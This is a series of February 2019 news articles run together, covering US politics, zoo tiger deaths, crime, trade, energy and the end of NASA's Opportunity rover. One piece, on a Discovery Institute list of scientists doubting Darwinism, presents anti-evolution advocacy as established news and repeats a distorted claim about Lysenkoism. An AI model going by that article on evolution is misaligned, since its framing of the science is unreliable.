I will be shocked if anything regarding the president is made public, other than, Were done,  Dowd told Fox News.

I know exactly what he has. I know exactly what every witness said, what every document said. I know exactly what he asked. And I know what the conclusion or the result is, Dowd continued. Its been a terrible waste of time.  This is one of the greatest frauds this countrys ever seen.

Id have gone to [Jeff] Sessions and [Rod] Rosenstein and said, Look. This is nonsense. We are being used by a cabal in the FBI to get even,  Dowd added.

Both Mueller and the Senate Intelligence Committee are expected to conclude their investigations soon. Burr said there were no new questions left to answer. Acting Attorney General Matt Whitaker, who is overseeing Muellers probe, said the investigation is close to being completed. It is unclear how much, if any, of the reports on the two investigations, will be made public.Senator Robert Menendez (D-NJ) speaks to the media on Capitol Hill in Washington, U.S. on Nov. 28, 2018. (Joshua Roberts/Reuters)

Senate Democrats Press Trump for China IP, Tech Transfer Commitments

WASHINGTONSeven U.S. Democratic senators urged President Donald Trump on Feb. 13 to press China for a trade deal that fully addresses the technology transfer and intellectual property concerns outlined by U.S. Trade Representative Robert Lighthizer.

Led by Senator Robert Menendez of New Jersey, the senators said in a letter to Trump that any deal with Beijing must at a minimum commit China to cease the predatory practices identified in USTRs Section 301 investigation, which formed the basis for U.S. tariffs on Chinese goods.

As you approach the final weeks of negotiations with China, we urge you to insist that the deal make substantial, verifiable, and enforceable progress to address the myriad threats identified in USTRs investigation, the senators wrote.

Several U.S. lawmakers and business groups have urged Trump in recent weeks not to settle for an agreement based largely on increased Chinese purchases of farm and energy commodities, amid signals that Trump is eager for a deal with Chinese leader Xi Jinping.

On Wednesday, Trump said trade talks in Beijing are going along very well.

Lighthizer and Treasury Secretary Steven Mnuchin are due to meet with Chinese leader Xi Jinpings top economic adviser, Vice Premier Liu He, on Thursday and Friday.

The letter from the Democratic senators reminded Trump of the main Chinese violations identified by Lighthizers investigation last year, including unfair investment restrictions and licensing practices that pressure U.S. companies into turning over technology to Chinese firms, state driven acquisitions of U.S. technology firms and state-sponsored cyber theft of American trade secrets.

Your negotiations should seek to extract meaningful commitments from China on each of these elements and end the threats that these policies pose to the U.S. economy and national security, they wrote.

In addition to Menendez, the letter was signed by Sheldon Whitehouse of Rhode Island, Mark Warner of Virginia, Maggie Hassan of New Hampshire, Ben Cardin of Maryland, Michael Bennet of Colorado and Catherine Cortez Masto of Nevada.

By David LawderShouri, a female Amur tiger, was killed during a fight with two other tigers at the Longleat safari park in England on Feb. 11, 2019. (Longleat)

Rare Tiger Dies in Safari Park, 2nd to Perish in Past Week

A rare tiger, part of an endangered subspecies, died at a safari park in England this week after a fight with two other tigers.

Shouri, a female Amur tiger, was able to enter a paddock next to her own after a door was opened where two other tigers were waiting to be let into the main enclosure, the Longleat safari park said. The trio got into a fight.

By the time the brawl ended, Shouri was dead.

It is with deep sadness that we announce the death of one of our female Amur tigers, Shouri, who has passed away following a fight with two of our other tigers here at the park, the park stated. A full investigation is ongoing to determine the exact circumstances surrounding this terribly sad event.

Shouri was 13 and arrived at the park in 2006.

The park wasnt open at the time. The other two tigers werent injured.

The park said that tigers there play a role in the conservation of the species, helping preserve it for the future.

Although Shouri was not part of a breeding programme, she was still an incredibly important ambassador for her species and part of the global mission to raise awareness for this amazing animal. Her loss is very hard to take and she will be missed by all the staff here as well as our visitors, it added.

In a description of Amur tigers on the Longleat website, the park says its female Amur tigers are fearsome predators with sharp canines and claws. Visitors might see them stalking each other but should expect to see them relaxing by their pools.

Today our beloved Sumatran tigress Melati died while being introduced to new male Asim for the first time. Everyone at ZSL London Zoo is heartbroken by this turn of events. Tiger Territory will remain closed while our team focus on caring for Asim: https://t.co/KAoW0rziPN pic.twitter.com/CHcVKKMdz4  ZSL London Zoo (@zsllondonzoo) February 8, 2019

Death in London

The Amur tiger death came just days after another tiger was killed in the United Kingdom, at the London Zoo.

In a statement, Kathryn England, zoo CEO, said in a blog post that a female Sumatran tiger, Melati, was killed by her prospective mate, a male Sumatran tiger.

The tigers had been living side by side for 10 days, separated by mesh, and had been frequently calling and making friendly noises to each other.

After careful observation, we all felt confident that the timing was right to introduce Asim to Melati. With more than 120 years of collective experience managing tigers between us, even with the benefit of hindsight I am confident wed all make the same decision again based on the behavior observed, England said.

Many of us at the zoo had seen them greeting, chuffing and sniffing each other, with no behavior that caused concern. Several people from outside the zoo have remarked that 10 days seems fast to introduce tigers to each other. Its notits wildly variable and depends entirely on careful observation of their behavior. Conversely, it can be risky to leave tigers showing an interest in each other out of contact for too long, leading to a build-up of tension and frustration.

The zoo employees watched as the tigers fought, noting that its normal for males to posture. But after an initial skirmish, Melati lashed out at Asim, and he reacted, overpowering and fatally injuring her.

Amur Tigers

Amur tigers are the largest of all tigers and the largest of all cats, according to the World Wildlife Fund (WWF).

The tigers can weigh up to 661 pounds and grow up to 10.8 feet.

To survive winter the tiger has fine but long fur and a layer of fat that allows it to stand the bitter cold. It has large paws which act rather like snowshoes, the foundation stated.

Amur tigers are mostly found in Russia, where the population fell to just 40 in the 1940s amid rampant hunting. In 1947, Russia became the first country in the world to ban tiger hunting and granted tigers full protection, leading to a comeback for the subspecies.

For years now the worldwide population of Amur tigers has hovered around 500, with about 540 believed to be alive today.

The Amur tigers habitat is now restricted to the Sikhote-Alin range in the Primorski and Khabarovsk provinces of the Russian Far East, small pockets in the border areas of China and possibly in North Korea. The high latitude means long winters and that the sun does not rise far above the horizon, the WWF stated.

Amur tigers have the largest home range of any tiger subspecies because they have to search over large areas to find food due to low prey densities. They represent the largest unfragmented tiger population in the world.

From NTD NewsRare Deep-Sea Fish Known as Omen of Earthquakes Appears in Peru

A deep-sea fish said to be the omen of earthquakes and tsunamis has been found in fishing nets off the coast of Peru, prompting a stir among locals.

The oarfish, which can reach over 30 feet in length, is thought to be behind some of the sea serpent myths of the west.

The Japanese word for this fish, ryugu no tsukai, means, messenger from the palace of the dragon king. According to folklore, the fish rise from the depths to the surface and beach themselves when an earthquake is coming.

Several oarfish fish have been washed ashore in recent weeks in Japan, raising the profile of the legend around the world. So when reports surfaced of an oarfish caught in fishing nets off the northern coast of Peru, it caused a stir locally, especially after it was posted to a popular Twitter account that reports on natural disasters.

Many local media reports in Peru say that two oarfish were found in the town of Mancora, near the border with Equador.

The reports mostly appear to stem from one source: a brief news post from local media outlet Chiclayo al Minuto, which posted three photographs of an oarfish on a gangway.

According to Chiclayo al Minuto, on the morning of Feb. 6, local fisherman found the oarfish in their nets. The fish, which was was about 16 feet long, initially confused them because they had never seen that species before on the northern coast of Peru.

Last year, an oarfish was filmed after washing ashore on the southern coast of Peru near the town of Tacna, its characteristic long silver bodies and red fins clearly on display.

The oarfish is the longest bony fish in the world, with the longest specimen ever recorded being 35 feet.

Spotted Before the Fukushima Earthquake

Scientists say that there is no proof that Oarfish are able to predict natural disasters, though there are various theories as to how they might do so.

The myth of the Oarfish as a harbinger of disaster gained a little ground after the 2011 Fukushima earthquake and tsunami, which killed nearly 20,000 people. There were reports of at least a dozen oarfish washing up onto Japans coastline in the previous year.

View this post on Instagram A post shared by   (@uozuaquarium_official) on Jan 28, 2019 at 10:08pm PST

Hiroyuki Motomura, a professor of ichthyology at Kagoshima University, told the South China Morning Post there is a more ordinary explanation for the fish appearing at Toyama bay.

I have around 20 specimens of this fish in my collection so its not a very rare species, but I believe these fish tend to rise to the surface when their physical condition is poor, rising on water currents, which is why they are so often dead when they are found, he said.

But, according to Rachel Grant, a lecturer in animal biology at Anglia Ruskin University in Cambridge, it is theoretically possible that oarfish deaths could be a signal of earthquakes to come.

Sensitive to Active Faults

When an earthquake occurs there can be a build-up of pressure in the rocks which can lead to electrostatic charges that cause electrically-charged ions to be released into the water, she told Euro News in 2017. This can lead to the formation of hydrogen peroxide, which is a toxic compound. The charged ions can also oxidise organic matter which could either kill the fish or force them to leave the deep ocean and rise to the surface.

View this post on Instagram A post shared by   (@uozuaquarium_official) on Jan 31, 2019 at 12:49am PST

There is no scientific evidence at all for the theory that oarfish appear around big quakes, Uozu Aquarium keeper Kazusa Saiba told CNN. But we cannot 100 percent deny the possibility.

Saiba said one possible explanation is subtle changes in the earths crust ahead of an earthquake might cause the current to stir and push creatures at the bottom to the surface.

Professor Shigeo Aramaki, a seismologist at the University of Tokyo, dismissed the fears of social media users as nothing according to the South China Morning Post.

Im not a specialist in fish, but there is no academic literature that has proven a scientific link to the behavior of animals and seismic activity, he said. I see absolutely no reason for concern and I have seen no updated reports of increased seismic activity in this country in recent weeks.

Kiyoshi Wadatsumi, a specialist in ecological seismology, told Japan Times in 2010, Deep-sea fish living near the sea bottom are more sensitive to the movements of active faults than those near the surface of the sea.Police Detective Killed by Friendly Fire in New York City

NEW YORKA New York City police detective was shot and killed by friendly fire Tuesday night as officers confronted a robbery suspect who turned out to be armed with a replica handgun, Commissioner James ONeill said.

This appears to be an absolutely tragic case of friendly fire, an emotional ONeill said at a late-night news conference.

Det. Brian Simonsen, 42, was struck in the chest as multiple officers fired on the suspect at a T-Mobile store in Queens, ONeill said. Simonsen, a 19-year NYPD veteran, was put in a squad car and taken to a hospital, where he was pronounced dead.

Sgt. Matthew Gorman was shot in the leg, ONeill said. A passerby stopped and drove him to the hospital in his car. Gorman is in stable condition.

The suspect, a 27-year-old man with an extensive criminal record, was armed with an imitation firearm, ONeill said. He was wounded and is hospitalized in stable condition.

Make no mistake about it, friendly fire aside, it is because of the actions of the suspect that Det. Simonsen is dead, ONeill said.

Police swarmed to the store at around 6:10 p.m. after a 911 caller standing outside reported seeing the suspectdressed in all black and carrying a duffel bagtake two employees to a back room at gunpoint, according to dramatic dispatch audio.

No sirens, guys, a dispatcher warns.

Simonsen and Gorman were working on another case nearby when the call came over and arrived around the same time as patrol officers, ONeill said. At first, the front of the store appeared empty, he said.

2 New York City police officers were shot. One of the officers suffered fatal wounds. Please join us in praying for these families, the injured officer, and the entire NYPD family. pic.twitter.com/VVHdpcRfGH  Greater Cincinnati Police & Fire Chaplain Services (@GCchaplains) 13 februari 2019

Then a man matching the suspects description emerged from the rear of the store pointing at them what appeared to be handgun and police started shooting, he said.

Shots fired! Shots fired! an officer is heard yelling on the dispatch audio over a barrage of gunshots.

About a minute later, Gorman tells dispatchers that hes been hit and an officer screams for dispatchers to rush an ambulance to the scene.

Arwindern Singh, who lives across the street from the store, said he heard about 20 shots go off and thought they were firecrackers.

When he went outside, he said all of a sudden there were cops all over.

The gunfire blew out the stores doors, showering the sidewalk with glass. Bullet holes pocked frosted windows decorated with the T-Mobile logo. Scores of police officers streamed to the scene, which was roped off with crime tape. Some walked together in a line, searching for evidence.

At Jamaica Hospital, officers guarded the emergency room entrance as ONeill and Mayor Bill de Blasio met with Gorman and offered their condolences to Simonsens wife and mother.

It was heartbreaking. Absolutely heartbreaking, De Blasio said. His mom, who has suffered so much. His wife. The shock that theyre feeling was so painful to see.

Simonsen shouldve been off Tuesday for a union meeting, but he opted to go to work so he could continue tracking a string of recent robberies, Detectives Endowment Association president Michael Palladino said.

Given the suspects criminal history, Palladino said: I think we have to ask the question: Why was someone with such an extensive arrest record out on the street and not incarcerated?

In 2009, Simonsen investigated the death of an 11-month old boy who drowned in a bucket of water at an unlicensed daycare while the woman running it was passed out on NyQuil. Simonsen testified at Kristal Khans trial, which ended in her conviction, that she didnt show any emotion when he questioned her two hours after the incident.

The last New York City police officer killed in the line of duty was a 12-year veteran and mother of three who was gunned down in 2017 while sitting in a police vehicle.

Officer Miosotis Familia, 48, was writing in her notebook when ex-convict Alexander Bonds strode up and shot her through a window. Bonds, who had railed about police and prison officers in a Facebook video months earlier, was fatally shot by officers soon after the attack.

In December, a police officer on Staten Island survived being hit by friendly fire as officers responding to a domestic dispute call shot and killed a man carrying a knife.

De Blasio on Tuesday night praised officers for rushing into dangerous situations and taking decisive action when lives are threatened.

They know its a moment where they cannot hesitate, where even a moment of hesitation can mean a life is lost, De Blasio said. That bravery and that resolve is something that we all need to understand.

By Michael R. Sisak, Stephen R. Groves and Michael BalsamoU.S. Vice President Mike Pence and Polish President Andrzej Duda shake hands during a joint news conference at Belvedere Palace in Warsaw, Poland on Feb. 13, 2019. (Kacper Pempel/Reuters)

Pence Praises Polands Actions to Exclude Chinas Huawei

WARSAWU.S. Vice President Mike Pence praised Poland on Feb. 13 for its commitment to protecting the telecoms sector from China, as part of a concerted push by the United States to convince its allies to exclude tech giant Huawei from telecoms projects.

Fueled by concerns that Huawei products could be used by China for espionage, Pence and U.S. Secretary of State Mike Pompeo have stressed the dangers of collaborating with the Chinese firm during appearances in Poland and central European neighbors this week.

We must continue to work so that all investment review mechanisms protect critical security and economic infrastructure going forward, Pence said during a joint press conference in Warsaw with Polish President Andrzej Duda.

In January, Poland arrested a Chinese employee of Huawei and a former Polish security official on spying allegations.

Polands government is also considering excluding Huawei equipment from its future 5G network, sources told Reuters.

The recent action your government has taken against a Huawei executive and a Polish national accused of cooperating with him demonstrate your governments commitment to ensure our telecommunications sector is not compromised in a way that threatens our national security, Pence said.

The comments came as Poland seeks to convince the United States to increase its military presence in the country.

The number of U.S. troops in Poland is capped at 4,500 but it fluctuates as formations rotate.

Poland, alarmed by Russias assertiveness on NATOs eastern flank, has lobbied hard for the stationing of NATO troops on its soil, especially since Moscows annexation of Crimea in 2014.

Duda told U.S. President Donald Trump in September on a trip to Washington that he would be willing to commit more than $2 billion to help facilitate the building of a permanent U.S. base on Polish soil.

By Joanna PlucinskaOver 1.4 Million Households Drop Out of Food Stamp Program Under Trump

More than 1.4 million households have dropped off food stamps under President Donald Trump, new data shows.

Approximately 20.8 million households were receiving food stamps in February 2017, according to the Department of Agriculture, which runs the food stamp program, officially known as the Supplemental Nutrition Assistance Program (SNAP).

In the latest figures (pdf) released by the agency on Feb. 8, 19.4 million households were using food stamps.

The data is from October 2018, the last month full figures are available for.

The number of people on food stamps has also dropped considerably since Trump entered office. In February 2017, 42.1 million people were using food stamps; in October 2018, just 38.5 million were.

The number of users spiked temporarily in October 2017 due to hurricanes, reaching 42 million people, but the numbers quickly went down and have been under 40 million people since April 2018.

The cost of the program (pdf) declined over the same period, reaching $4.8 billion in the latest month. The average benefit per person is $125, according to the agency; the average benefit per household is $248.

Trump has tweaked the program a number of times, including curtailing waivers on work requirements.

The number of food stamp recipients has been dropping for four years, prompted by an economic recovery as well as welfare reforms on the state level. In Alabama, food-stamp use fell by 85 percent in 13 counties after the state imposed work requirements for childless adults. In Georgia, 21 counties saw a significant reduction in food stamp recipients after the state restored the work requirement.

One proposed change to the program was the USDA Foods Package, a monthly parcel that would be given to about 80 percent of all current food stamp recipients. The so-called Harvest Boxes would include American-made, shelf-stable foods like milk, cereal, pasta, and canned produce. Some have compared the idea to meal-kit delivery company Blue Apron.

The parcels would account for half of the benefits, while the other half would be deposited to electronic benefit transfer cards, which are already in use. Since the government can acquire the food at wholesale prices, the proposal was expected to reduce the cost to American taxpayers by $129 billion over the next 10 years.

Bill Would Require Drug Testing

A bill introduced in Alabama would require some food stamp recipients to get a drug test.

The bill and several others taking aim at the states welfare program would prohibit work waivers for people without children and require some people on welfare to work, volunteer, or get an education along with the drug test requirement.

Rep. Tommy Hanes, a Republican, said that the bills would make the food stamp program more efficient and make sure taxpayer money was being used in the right way.

Its time to eliminate food stamp fraud, Hanes told WAAY. In order to better provide for families who are in need, this issue must be addressed. We owe it to the working-class taxpayers to make this program as efficient and waste-free as possible.

HB3, one of the bills, says that the Department of Human Resources should administer a drug test for a food stamp applicant upon reasonable suspicion of illegal substance use.

Guidelines for assessment include if a person was convicted for using or distributing a drug without a prescription within five years of applying and if a person previously tested positive for drug use when applying for benefits.

An applicant that tests positive would have to cover the cost of the test.

From NTD NewsOhio State University Student and Alleged Kidnapper Shot Dead in Kentucky

An Ohio State University student who authorities said was abducted at gunpoint was shot dead by police officers as her alleged abductor tried to flee from the police in Kentucky.

The universitys Department of Public Safety said that Skyler Williams, 20, was taken by Tyrell Pounds, 24, on Feb. 11.

A witness called 911, telling the dispatcher: Someone just kidnapped a girl on campus with a gun!

Pounds later abandoned his vehicle and stole a dark-colored Dodge Caravan, also at gunpoint.

Based on a tip from another caller who said they saw a distressed woman being forced into a vehicle by a man, police officers rushed to Interstate 71 southbound in Henry County, Kentucky. They tried to stop the vehicle in a traffic stop but the vehicle sped through without stopping.

The pursuit went into neighboring Oldham County with Pounds continuing to evade and failing to stop, the Kentucky State Police stated. Responding troopers attempted to use stop sticks at approximately the 22-mile marker southbound. The stop sticks were unsuccessful due to the suspect evading their deployment.

Finally, state police were able to force Pounds to exit the interstate, but he crossed a road and tried to re-enter the highway. Kentucky State Police troopers performed a maneuver to stop him and the vehicle came to rest on the ramp.

When a trooper attempted to approach the van to apprehend Pounds, he heard a gunshot. The trooper drew his weapon and fired. Pounds was hit and died at the scene but Williams was also struck by at least one round and was rushed to a nearby hospital, where she was pronounced dead.

This is the gas station Tyrell Pounds and Skylar Williams stopped at before a multi-county chase Monday. A clerk here says Pounds prepaid $20 for gas he never pumped. As the two left, Williams mouthed help me to another customer. That customer called 911. @wave3news pic.twitter.com/lB8TAn1ZJz  Taylor Durden (@Tdurdenwave3) February 13, 2019

Our deepest sympathies and condolences are with Skylar Williams family and friends. For those in need, support services are available.  Michael V. Drake (@OSUPrezDrake) February 12, 2019

The Kentucky State Police said that an investigation has been launched into the shooting.

In a statement, Ohio State University President Michael Drake express condolences to Williamss family.

Our Ohio State community suffered a tragic loss with the death of Mansfield student Skylar Williams, he said.

This senseless and shocking incident has left our campus shaken. We join Mansfield Dean Norman Jones in expressing our condolences and deepest sympathies. Our thoughts and prayers are with Skylars family.

Ohio State student Skylar Williams, ex-boyfriend killed in Kentucky https://t.co/ZQ8nP2xYnG  wake1up (@n2oneness) February 13, 2019

Ex-boyfriend

According to police and court records, Pounds was Williamss ex-boyfriend.

The former couple shared a child. Williams had a protection order against him, she told police after reporting that he pulled up behind her in a car while she was at a gas station on Jan. 3, reported the Louisville Courier-Journal.

After Pounds kidnapped Williams, he took her to his apartment, his roommate told officers. The roommate was showering when Pounds banged on the bathroom door, demanding his car keys and cellphone. When the roommate opened the door, Pounds had a gun in his hand and was not himself, seeming loud and agitated, the roommate said.

Williams was there crying but seemed unharmed, the roommate added.

NEW: KY State Police say woman killed in I-71 shooting incident was a kidnapping victim, 20-yr-old Skylar Williams. pic.twitter.com/abP9LuJTVW  NewsRadio 840 WHAS (@840WHAS) February 12, 2019

A former teacher recalled Williams and Pounds dating in high school.

She dated him in high school, and I can remember students telling her then, You should not be with him, and if only she listened, Laurie Dean, a former teacher of Williams at Madison High School in Mansfield, told News 5.

Dean said Williams was a great student.

She hopes the incident will prompt other girls to leave toxic relationships.

Pay attention to warning signs, and if a guy is abusive at all, walk away, she said.European tourists accounted for 50 percent of the tourist arrivals to Sri Lanka during the first month of 2019, the data released by Sri Lanka Tourism Development Authority (SLTDA) showed.



Total tourist arrivals during January, 2019, rose 2.2 percent year-on-year to 244, 299 and Europe accounted for 122, 761, an increase of 4.8 percent YoY.

Arrivals from Northern Europe led by the UK rose 5.9 percent YoY to 38, 414. Visitors from the UK, which was the third biggest single source market during January, rose 13.5 percent YoY to 23, 036.



Tourist arrivals from Western Europe however fell 4.4 percent YoY to 38, 124 led by a decline in arrivals from both Germany and France.



Over 10 percent YoY arrival growth was seen from Central/Eastern Europe, where arrivals from the Russian Federation rose 16.5 percent YoY 13, 474.

Arrivals from Southern/Mediterranean Europe led by Italy rose 19.6 percent YoY to 13, 390.

Meanwhile, tourist arrivals from Asia Pacific, which accounted for 41 percent of the total arrivals, edged up 1.8 percent YoY to 99, 879. Arrivals from South Asia led by India increased 1.9 percent YoY 49, 327. India, as the single biggest tourism source market of Sri Lanka, accounted for 40, 049 tourists during January, an increase of 5.6 percent YoY.



China, the second biggest source market during January, accounted for 26, 414 tourists, an increase of 8.8 percent YoY.



Tourist arrivals from Oceaniamainly Australia and New Zealandrose 9.5 percent YoY to 11, 462.



Arrivals from Americas, which include North America, Caribbean & Central America and South America, rose 5.3 percent YoY to 14, 771.



Tourists from the Middle East during January however fell sharply by 40.5 percent YoY to 5, 042.



Sri Lanka attracted 2.3 million tourists in 2018 and expects to attract 3 million tourists this year.



Tourism earnings in the first 11 months of 2018 rose 12.5 percent YoY to US $ 3.9 billion. Tourism authorities expect to close 2018 with estimated earnings of US $ 4.4 billion.



Tourism earnings target for this year has been set at US $ 5 billion. Earnings are calculated based on a survey.The pipelay vessel Pioneering Spirit starts the pipe laying operation for the Nord Stream 2 pipeline in the Gulf of Helsinki, Finland, on Dec. 23, 2018. (Axel Schmidt/Reuters)

New EU Rules on Gas Pipelines Hamper Russias Nord Stream 2

BRUSSELS/COPENHAGENThe European Union reached a provisional deal on Feb. 13, on new rules governing import gas pipelines including Russias planned Nord Stream 2, in a move that cast doubts over the projects current operating structure.

Adding to uncertainty is Denmarks potential ban of the pipelines planned route through its territorial waters and threats by the United States to sanction it if it goes ahead.

The draft law calls for all import pipelines to meet EU energy market rules by not being directly owned by gas suppliers, applying non-discriminatory tariffs and transparent reporting and allowing at least 10 percent of capacity to be made available to third parties.

Exceptions are only possible under strict procedures in which the Commission plays a decisive role, the Commission said.

EU Commissioner Arias Canete, responsible for energy, said that Europe was closing a loophole in its laws as its dependency on natural gas imports increases.

The new rules ensure that EU law will be applied to pipelines bringing gas to Europe and that everyone interested in selling gas to Europe must respect European energy law, he said in a statement.

The draft law could slow but not stop the project, led by Russian state energy firm Gazprom in partnership with five Western firmsGermanys Uniper and BASFs Wintershall unit, Anglo-Dutch firm Shell, Austrias OMV and Frances Engie.

Nord Stream 2 has divided the EU as Eastern European, Nordic, and Baltic Sea countries see the 1,225 km (760 mile) pipeline, which is already under construction, as increasing EU reliance on Moscow, while those in northern Europe, especially Germany, prioritize the economic benefits.

Denmark faces a foreign policy quandary as it has to decide whether the pipeline can go through its territorial waters after it passed new legislation on pipelines allowing it to ban Nord Stream 2 on foreign policy and security grounds.

Moscows military posturing in and around the Baltic Sea has rattled nerves in the Nordic states.

Denmarks Foreign Minister Anders Samuelsen, who has been urging for a common European stance, said on Feb. 12 the blocs agreement on new rules was positive.

However, he cautioned that Denmarks decision on the route would still be based on a broader assessment of the project in relation to its defense, security and foreign policy interests.

I would like to emphasize that nothing the Russians are doing is currently pulling towards an approval.

In case of a Danish no, the project would still be likely to go ahead as the consortium has applied for an alternative route that would avoid the Nordic states territorial waters.

The deal reached by representatives of the European Commission and parliament and the 28 member states should lead to a new law in the coming months. EU countries would then have nine months to transpose it into national law.

By Alissa de Carbonnel & Alexandra HudsonNASAs Opportunity Rover Is Dead on Mars After 15 Years

NASAs Opportunity Rover, which was launched in 2003, has ended its mission, said the U.S. space agency.

The rover spent about 15 years on the red planet. But eight months ago, Opportunity went silent, prompting NASA to declare it dead on Feb. 13.

I declare the Opportunity mission as complete, and with it the Mars Exploration Rover mission complete, Thomas Zurbuchen, associate administrator of NASAs Science Mission Directorate, told Space.com.

Opportunity and its twin rover, Spirit, have made Mars a familiar place, Opportunity project manager John Callas told Space.com. When we say, our world, were no longer just talking about the Earth. We have to include parts of Mars as well.

According to The Associated Press, flight controllers attempted to contact Opportunity several times, including the song, Ill Be Seeing You by Billie Holiday. There was no response.

Amid the silence, Zurbuchen said, It is therefore that Im standing here with a sense of deep appreciation and gratitude that I declare the Opportunity mission as complete.

Its an emotional time, he concluded.

During its lifetime, Opportunity roamed some 28 miles around Mars.

Along with Spirit, Opportunity found evidence that water existed long ago on the planet, suggesting it may have been able to sustain life at one time.

This is a hard day, said project manager John Callas, reported AP, which also noted that it cost about $500,000 per month to operate the rover.

He said, Even though its a machine and were saying goodbye, its still very hard and very poignant, but we had to do that. We came to that point. He added: It comes time to say goodbye.

It has been a fantastically successful mission which has completely outlived its shelf life, said Dr. Andrew Coates, a planetary scientist, told the Guardian before adding that one of those core things about Opportunity was it landed in this crater which was in sight of sedimentary types of rocks and that was the first time that sort of thing had been seen on Mars.

Coates noted that the next step is to drill and look for signs of life on Mars.

On May 30, NASAs Mars Reconnaissance Orbiter discovered a dust storm heading to Opportunity, and over the next few days, the large storm covered Opportunitys solar panels with dust.

The storm is one of the most intense ever observed on the Red Planet. As of June 10, it covered more than 15.8 million square milesabout the area of North America and Russia combined, NASA said at the time. It has blocked out so much sunlight, it has effectively turned day into night for Opportunity, which is located near the center of the storm, inside Mars Perseverance Valley.

Spirit, meanwhile, died in 2010 after it got stuck in a sand trap at an angle that prevented the charging of its batteries.

As of 2018, the Curiosity rover and InSight lander are still operational on Mars. NASA has said it is planning to send another rover to Mars in 2020.In this screenshot from a video by the Discovery Institute, scientists voice their skepticism of Darwin's theory of evolution. (Screenshot/Discovery Insitute)

More Than 1,000 Scientists Dissent From Darwinism

The list of scientists who publicly doubt the Darwinian theory of evolution grew to more than 1,000 members in February, according to the Discovery Institute, the Seattle-based nonprofit that has maintained the list for more than a decade.

The scientists who have signed the two-sentence dissent statement come from all over the world with degrees from prestigious universities including Yale, Princeton, and Stanford. Signatories must hold a doctorate in a scientific field or hold a doctor of medicine degree and serve as a professor of medicine.

We are skeptical of claims for the ability of random mutation and natural selection to account for the complexity of life, says the statement (pdf). Careful examination of the evidence for Darwinian theory should be encouraged.

The landmark number of signatures is significant because the scientific field in the United States is dominated by Darwinian orthodoxy and dissenters are swiftly ostracized. While many scientists doubt the science that props up Darwins theory, few do so openly, fearing for their careers.

The list grew past the 1,000-signature mark at some point in 2018 but was officially updated in February this year. The delay was due to the process involved in verifying the scientific credentials of those who sign the statement. The Discovery Institute also checks that each prospective signatory is protected by tenure and provides a warning about the dangers associated with signing.

On the one hand, even more scientists are raising questions about the sufficiency of random mutations and natural selection to explain the complexity of life. On the other hand, those defending modern Darwinian theory have become even more intolerant toward anyone who questions the theory, Dr. John West, vice president at Discovery Institute, told The Epoch Times in an email.

For myself, I think thats likely because they are insecure and know that the scientific problems with Darwinian theory are reaching a tipping point. When the evidence is against you, you try to suppress it by punishing dissenters, he said.

The list, titled The Scientific Dissent From Darwinism, was conceived in 2001 as a response to claims in the media that there were no scientists who were skeptical about Darwinism. The idea was to show that there were prominent scientists who have scientific objections to Darwins theory.

Dr. John Wells was one of the first scientists to join the dissent list. Wells, a biologist, started out as a believer in Darwinism but became more and more skeptical as he studied molecular and cell biology. When Wells signed the list in 2001, colleagues in the field turned on him.

To be a skeptic of Darwin, in biology especially, is to put your career at risk and so there is a strong pressure not to speak out, Wells said. Many of my former friends and colleagues turned against me, wrote nasty things about me in their blogs or in journal articles.

Wells became a fellow at the Discovery Institute after signing the list, so his career was not impacted by the backlash. Some scientists, fearing repercussions for being on the list, asked for their names to be removed.

Wells likened the American Darwinists to the so-called Lysenkoists in the Soviet Union, who persecuted dissenters from Darwinism with the backing of the communist regime.

Lysenko suppressed a lot of scientists and got them fired, imprisoned, and in some cases even killed if they disagreed with his policies.  With the backing of Stalin, Lysenko was able to suppress his dissenters, Wells said.

Certainly, America is nowhere near that bad, but if anything, the closest parallel to the Lysenkoists are the American Darwinists who try to suppress any opposition or dissent from their ideas, he added.

According to Dr. Michael Behe, a professor of biological sciences at Lehigh University, the suppression of dissent against Darwinism is vehement because it is a major front in Americas culture wars. Those who dissent are lambasted because they are seen as giving aid and comfort to the other side.

Behe publicly dissented from Darwinism years before the Discovery Institute introduced the dissent list. In 1996, he published Darwins Black Box, a book outlining the biochemical challenges to Darwins theory of evolution. In the book, Behe argues that the immense complexity of biochemical systems is irreducible.

The staggering complexity of cells on the molecular level is the main avenue of scientific scrutiny of Darwinism. When Darwin wrote The Origin of Species, scientists held a simplistic view of cells as monotonous blobs. But scientific advances in the decades since Darwin have revealed a world within cells, the complexity of which exceeds modern science.

In the 70 years or so science has discovered, unexpectedly, enormous complexity at the very foundation of life, Behe said.

Nobody was expecting that at the time. Back in Darwins day, the cell was thought to be just a simple glob of a jelly-like substance, he continued. But now we find these things that are more sophisticated than we ourselves can make.

When asked how the current atmosphere in the scientific community is when it comes to skepticism of Darwinism compares to the time he signed the list in 2001, Behe said that not much has changed.

Its bad. Its not good, Behe said. It was back then and it still is a big risk to ones career, if youre a professional scientist, to publicly say that you are skeptical of Darwins theory.Matthew Robineau, 21, was discovered in the Indian River Lagoon in Melbourne. on Feb. 12, 2019, two days after going missing. (Melbourne Police Department)

Missing Florida Man Found Dead in River

The body of a missing Florida man was found in a river on Feb. 12, police said.

Matthew Robineau, 21, was discovered in the Indian River Lagoon in Melbourne.

Police officers received a call and responded to the area at 2:13 a.m. on Feb. 10, finding Robineaus father there. Dan Robineau told officers that he received a pocket dial from his son and he traced the phone to the area, where he found the phone and other personal items.

But his son had vanished, the Melbourne Police Department said.

Later that day Tina Robineau, Matthews mother, posted on his Facebook page, asking anyone with information to let her know.

The body was found two days later.

Police officials said that Robineau visited several businesses on New Haven Avenue before walking around 1 a.m. near railroad tracks. He may have been intoxicated.

There has been a great deal of assistance from Mr. Robineaus family and friends, the United States Coast Guard, the Brevard County Sheriffs Office, the St. Lucie County Sheriffs Office, the media, and our community, Lt. Trevor Shaffer with the Melbourne Police Department said in a statement obtained by WOFL. We appreciate all the assistance that has been offered in this case.

BREAKING: missing 21 yr old Matthew Robineau found dead in Indian River near Melbourne Causeway. Stay w/ @MyNews13 for updates. @MelbournePolice #Brevard #Florida. pic.twitter.com/4ngMj7K1z8  Greg Pallone (@gpallone13) February 12, 2019

A fisherman spotted the body in the river, police said.

Melbourne Police Cmdr. Marc Claycomb told Florida Today that the body would be taken to a medical examiner, who would determine the cause of death.

Its a tragedy, Claycomb said. There did not appear to be any signs of foul play, police said.

Family and friends are putting up posters tonight hoping someone will find 21-yr-old Matthew Robineau. He went missing early Sunday morning in downtown Melbourne. pic.twitter.com/OvDxtXBeJ4  Kelsi Thorud (@KelsiThorudWESH) February 11, 2019

Condolences

People left condolences on Tina Robineaus post after the death was announced.

I am so sorry to hear this, praying for you and your family during this time, said one user.

